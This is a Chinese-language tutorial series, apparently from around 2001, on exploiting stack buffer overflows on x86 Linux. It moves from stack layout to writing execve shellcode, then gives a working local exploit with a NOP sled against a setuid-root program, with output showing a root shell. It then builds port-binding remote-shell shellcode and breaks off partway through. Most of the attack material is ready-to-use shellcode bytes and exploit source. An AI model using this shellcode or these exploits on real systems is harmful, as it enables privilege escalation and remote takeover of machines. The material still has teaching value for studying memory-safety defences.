堆栈溢出从入门到提高

/ns/hk/hacker/data/20010414002758.htm

堆栈溢出从入门到提高
整理:阿新

有一些是在以前的文章里照搬的,希望作者不要介意 :P

------------------------------------------------------------

堆栈溢出系列讲座
入门篇


本讲的预备知识:
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面
的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,
你应该了解linux,本讲中我们的例子将在linux上开发。

1:首先复习一下基础知识。

从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态
全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配
在堆栈里面。

从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我
们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的
操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被
丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回
地址到EIP以继续执行程序。

在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:
先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都
会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)

2:好了,继续,让我们来看一看什么是堆栈溢出。

2.1:运行时的堆栈分配

堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据
越界。结果覆盖了老的堆栈数据。

比如有下面一段程序:
程序一:
#include <stdio.h>
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}

编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢?

在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。

我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:

pushl %ebp
movl %esp,%ebp
subl $8,%esp

首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈
的布局如下:

内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
栈顶部 堆栈底部

执行完gets(name)之后,堆栈如下:

内存底部 内存顶部
name EBP ret
<------ [ipxodi\0 ][ ][ ]
^&name
栈顶部 堆栈底部

最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。


2.2:堆栈溢出

好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)之后,堆栈如下:

内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
栈顶部 堆栈底部

由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写
‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的
老的元素。 如图
我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把
‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处
的指令,结果出现错误。这就是一次堆栈溢出。

3:如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写
越界,覆盖堆栈中的老元素的值,就可以修改返回地址。

在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。

事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。
如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我
们的指令。

在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆
栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得
root shell。


下一讲将叙述如何书写一个shell code。


------------------------------------------------------------

如何书写一个shell code

一:shellcode基本算法分析

在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------
-----
#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为
第三个参数。

我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

经过以上的分析,可以得到如下的精简指令算法:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续
执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调
用,结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

看来exit(0)〕的汇编代码更加简单:
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用

那么总结一下,合成的汇编代码为:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)

二:实现一个shellcode

好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name
数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是动态加载,字符串和name数组的地址都不是固定的。

通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码

movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会

//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为
call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,
就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面
8个字节,构造name数组(两个整数,八个字节)。

我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)

test.c
------------------------------------------------------------------------
------

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"

void main() {
int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。

}

------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址
ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,
从而我们得到了一个shell。

运行结果,得到了bsh的提示符$,表明成功的开了一个shell。

这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为
一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。
而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在
代码段。

这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关
键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符
出现的。

因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

最后的shellcode为:
------------------------------------------------------------------------
----
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh" /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----

三:利用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后,堆栈内容如下所示:

内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
栈顶部 堆栈底部
注:S表示shellcode。
A表示shellcode的地址。

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们
的shellcode。


----------------------------------------------------------

利用堆栈溢出获得shell

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
strcpy
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
开始地
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
shellcode,从而我们得到了一个shell。

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
事:
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
的地址。
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
始地址
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
序堆栈
的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
寄存器
里面):
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
几K
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。


前面我们用来覆盖堆栈的溢出字符串为:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在,为了提高命中率,我们对他进行如下改进:
用来溢出的字符串变为:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
S.
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>

#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh" /* .string \"/bin/sh\" */

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="\0"
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0

printf("Jump to 0x%08x\n",addr);

execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
作为./vulnerable1的参数提供。
以下是执行的结果:
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root

bash#
------------------------------------------------------------------------
----
恭喜,恭喜,你获得了root shell。

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。

--------------------------------------------------------------

远程堆栈溢出

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。
我们
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制
(或者
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击
者来说
,由于我们不在本地,这个sh我们并没有得到。

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,
然后
listen我们的连接,给我们一个远程shell的责任。

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行
)作为
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进
来后,
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,
我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。

下面就是这个算法的C实现:

opensocket.c
------------------------------------------------------------------------
----
1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>

4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;

7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl("/bin/sh","sh",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的
pid,
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子
进程
作为socket通信的执行者继续下面的操作。

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后
调用
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接


当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用

gdb来反编译上面的程序:

[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.

现在可以写上面c代码的汇编语句了。


fork()的汇编代码
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

socket(2,1,6)的汇编代码
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66号系统调用,1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
/* 第一个参数 */
/* %esi 指向一段未使用的内存空间 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数 */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
----
/* bind使用66号系统调用,2号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET(2) */
/* 2 放在 0xc(%esi). */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
/* 端口号(0x7700=30464)放在 0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数 . */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

listen(soc,1)的汇编代码
------------------------------------------------------------------------
----
/* listen使用66号系统调用,4号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
----
/* accept使用66号系统调用,5号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\xf1" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
